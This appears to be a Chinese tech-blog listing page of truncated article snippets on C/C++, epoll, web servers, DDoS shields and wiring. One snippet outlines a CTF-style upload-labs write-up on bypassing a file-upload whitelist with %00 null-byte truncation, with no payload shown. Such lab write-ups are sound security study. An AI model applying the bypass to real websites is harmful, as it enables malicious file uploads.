需求 分析 1、初始化,生成演讲学生数组,打乱数组以便随机分组 2、每轮比赛后需要统计每个学生的胜场,以便决定进入下一轮和最终胜利的学生 代码实现 #pragma once#include<iostream> #include<string> #include<algorithm…...
简单实现网页加载进度条
一、监听静态资源加载情况 可以通过window.performance 对象来监听⻚⾯资源加载进度。该对象提供了各种⽅法来获取资源加载的详细信息。 可以使⽤performance.getEntries() ⽅法获取⻚⾯上所有的资源加载信息。可以使⽤该⽅法来监测每个资源的加载状态,计算加载时间…...
C语言——深入理解指针(一)
C语言——指针(一) 进入指针后,C语言就有了一定的难度,我们需要认真理解 指针(一) 1 .内存和地址 内存:程序运行起来后,要加载到内存中,数据的存储也是在内存中。 我…...
计算机组织原理第一章
1、 2、 3、 4、 5、 从源程序到可执行文件: 6、 7、 8、 8、...
upload-labs通关笔记-第12关 文件上传之白名单GET法
目录 一、白名单过滤 二、%00截断 1、%00截断原理 2、空字符 3、截断条件 (1)PHP版本 < 5.3.4 (2)magic_quotes_gpc配置为Off (3)代码逻辑存在缺陷 三、源码分析 1、代码审计 (1&…...
网络学习-epoll(四)
一、为什么使用epoll? 1、poll实质是对select的优化,解决了其参数限制的问题,但是其本质还是一个轮询机制。 2、poll是系统调用,当客户端连接数量较多时,会将大量的pollfd从用户态拷贝到内核态,开销较大。…...
uWSGI、IIS、Tomcat有啥区别?
uWSGI、IIS 和 Tomcat对比 以下是 uWSGI、IIS 和 Tomcat 的对比分析,包括它们的核心特性、适用场景和典型用例: 1. uWSGI 核心特性 • 定位:专为 Python 应用设计的应用服务器(支持 WSGI/ASGI 协议)。 • 协议支持&a…...
AI本地化服务的战略机遇与发展路径
一、市场机遇:线下商业的AI赋能真空 1. 需求侧痛点明确 实体商家面临线上平台25%-30%的高额抽成挤压利润,传统地推转化率不足5%,而AI驱动的精准营销可将获客成本降低60%以上。区域性服务商凭借对本地消费习惯的深度理解,能构建更精…...
游戏盾的功有哪些?
游戏盾的功能主要包括以下几方面: 一、网络攻击防护 DDoS攻击防护: T级防御能力:游戏盾提供分布式云节点防御集群,可跨地区、跨机房动态扩展防御能力和负载容量,轻松达到T级别防御,有效抵御SYN Flood、UD…...
C++开源库argh使用教程
概述 argh 是一个轻量级的 C 命令行参数解析库,只需要包含一个头文件即可使用。 github页面: https://github.com/adishavit/argh 基本用法 #include "argh.h" 创建argh::parser对象 使用parse方法解析命令行 argh::parser重载了括号运…...
万用表如何区分零线、火线、地线
普通验电笔只能区分火线,零线和地线是区分不出来的,那么,我们就需要使用万用表来进行区分!轻松搞定! 万用表操作步骤: 1、黑表笔插Com,红表笔接电压和电阻档,万用表打到交流电压750V档。 2、黑表…...